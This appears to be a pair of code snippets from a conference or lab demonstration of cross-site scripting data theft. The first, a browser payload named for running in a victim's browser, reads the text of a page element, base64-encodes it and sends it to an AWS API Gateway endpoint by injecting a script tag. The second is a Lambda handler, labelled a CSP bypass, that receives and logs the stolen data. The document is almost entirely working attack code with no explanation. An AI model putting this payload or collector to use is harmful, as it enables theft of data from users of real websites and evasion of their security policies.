Lambda

code-to-execute-in-victims-broswer.js

s=document.createElement("script");
s.src="https://f7aq2nast6.execute-api.eu-west-1.amazonaws.com/testing/my-defcon-exfil?data="+btoa(document.getElementById("secret-ingredient").innerText);
document.head.appendChild(s);

Lambda-csp-bypass-code.js

'use strict';
export const handler = async (event) => {
    const response = {
        statusCode: 200,
        headers: {
            'Content-Type': 'text/html',
        },
        body: event.queryStringParameters.data,
    };
    var decoded=Buffer.from(event.queryStringParameters.data, 'base64').toString('ascii');
    console.log('Decoded payload:', decoded);
    return response;
};